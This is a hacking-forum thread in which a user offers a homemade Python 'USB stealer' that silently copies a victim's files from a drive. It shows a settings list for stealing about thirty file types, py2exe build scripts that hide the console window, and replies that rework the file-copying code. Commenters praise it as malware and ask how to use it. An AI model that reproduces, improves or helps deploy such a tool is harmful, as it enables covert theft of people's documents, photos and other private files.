

Forum:[Hack Forums](#)

Thread: [USB Stealer Source](#)

ott-hon - August 15, 2012, 6:26 am

Hi guys This is a USB stealer I made in python and some of the HF users helped me with this

stealer.pyw source <http://pastebin.com/jyLW5K6M>

setup.py source <http://pastebin.com/af5MM6Q4>

generated settings.txt file:

Spoiler ([Click to View](#))Code [X] Scan and Steal all the TXT

[X] Scan and Steal all the PDF
[X] Scan and Steal all the LOG
[X] Scan and Steal all the DOC
[X] Scan and Steal all the DOCX
[X] Scan and Steal all the RAR
[X] Scan and Steal all the ZIP
[X] Scan and Steal all the ISO
[X] Scan and Steal all the JAR
[X] Scan and Steal all the JPG
[X] Scan and Steal all the BMP
[X] Scan and Steal all the PNG
[X] Scan and Steal all the GIF
[X] Scan and Steal all the EXE
[X] Scan and Steal all the PPT
[X] Scan and Steal all the PPTX
[X] Scan and Steal all the AVI
[X] Scan and Steal all the MP4
[X] Scan and Steal all the MOV
[X] Scan and Steal all the FLV
[X] Scan and Steal all the MPG
[X] Scan and Steal all the WMV
[X] Scan and Steal all the MP3
[X] Scan and Steal all the FLAC
[X] Scan and Steal all the WMA
[X] Scan and Steal all the M4A
[X] Scan and Steal all the WAV
[X] Scan and Steal all the PSD
[X] Scan and Steal all the RAW
[X] Scan and Steal all the APK

to make a single exe from one py or pyw use py2exe on 32bit windows with this py2exe.py file

setup.py

Code from distutils.core import setup

import py2exe

setup(

```
console=['setup.py'],
options={'py2exe': {'bundle_files': 1}},
zipfile = None
)
stealer.pyw (this will hide the CMD window on the final exe)
```

Code from distutils.core import setup
import py2exe

```
setup(
    windows=['stealer.pyw'],
    options={'py2exe': {'bundle_files': 1}},
    zipfile = None
)
```

BIG THANKS TO THESE USERS

Max00355

JrMn

The Unknown

r0cket

Netloot.in

I was trying to post it to the hacking tools but only l33t and ub3rs can post there.

So I posted it on Beginner Hacking section and it got deleted :D

Image used Spoiler ([Click to View](#))

notepadman - August 15, 2012, 6:50 am

Thanks for this man, good tool that I will make use of soon.

EvilShot - August 15, 2012, 4:56 pm

I have just started python recently and i only know the basics and this doesn't make any sense to me :/

Zetas - October 25, 2012, 3:56 pm

Does this script only work on windows?

ott-hon - October 25, 2012, 8:34 pm

(Oct 25, 2012 03:56 PM)Polarfucked Wrote: [\[CITE\]](#) Does this script only work on windows?

Hm, good question I think this can work on linux and mac os too. but you will have to edit the 159, 166. line and some more.

yungdsl - October 25, 2012, 9:00 pm

Do you really need that many if statements?..

ott-hon - October 25, 2012, 11:18 pm

(Oct 25, 2012 09:00 PM)Kaonashi Wrote: [\[CITE\]](#) Do you really need that many if statements?..
yes I needed it, note this was my first real project I dont really know how I finished it :D

PseudoMander - October 25, 2012, 11:43 pm

```
Code import os
from shutil import copy
```

```

Drive=raw_input('What Drive? -->')
path = Drive+'\\'
listing = os.listdir(path)
for file in listing:
    for i in range(len(file)):
        if file[i]!='.':
            break
        if i==len(file)-1:
            i=i+1
            extension=file[i:]

    if extension=="":
        print 'Copied The Directory \''+file+'\' To Directories Folder.'
        copyfile(path+file, '\\'+file )
    else:
        extension=" ".join(extension.split('.')) #to handle occurrences where two .'s occur
        print 'Copied The File \''+file+'\' To \''+extension+'\\'.'
        if not os.path.exists('\\\\'+extension):
            os.makedirs('\\\\'+extension)
        copyfile(path+file, '\\'+extension+'\\'+file)

```

gungunfebrianza - October 26, 2012, 12:36 am

Thanks for sharing the source code sir, this is what i want :)
Great malware !

Grow - October 27, 2012, 10:29 pm

This is very nice dude, especially for a first release.

gungunfebrianza - October 28, 2012, 2:40 am

it's work perfect 100 % in my PC. win 7 sir :blakhat:

Takebacker - October 29, 2012, 3:10 pm

You might want to read up on loops, and program flow in general. A LOT of this can be optimized, as I did with this block that checks and creates the directories (there's still room for renovation):

```
Code fileExtensions = ['txt', 'pdf', 'log', 'doc', 'docx', ] # and on and on...
```

```
def createDirectory(directory):
    if not os.path.exists(directory):
        os.makedirs(directory)
```

```
[createDirectory(os.getcwd() + "/SLD/" + getpass.getuser() + "/" + extension) for extension in
fileExtensions]
```

```
# with map method:
# map(lambda extension: createDirectory(extension), fileExtensions)
```

Beta1Dolphin - October 31, 2012, 5:23 pm

Simple but very useful, but I guess the code could of been better.

Douwz - November 8, 2012, 5:42 am

Thanks bro , that is my help hahaha !

aBlackAulaeum - November 8, 2012, 7:29 am

Nice work dude!

Keep it up!

Greetings

21redallday12 - November 11, 2012, 7:54 pm

AMAZING! if i new how to vote you up(+1 rep), i would.

If find any good python source code i'll message you

tiny cracker - April 7, 2017, 12:12 am

Thanks for Sharing . Looks great. Please let me know how to use this code ??

ZwClose - April 7, 2017, 12:15 am

(Apr 7, 2017 12:12 AM)tiny cracker Wrote: [\[CITE\]](#) Thanks for Sharing . Looks great. Please let me know how to use this code ??

This post is legit 5 years old... it doesn't work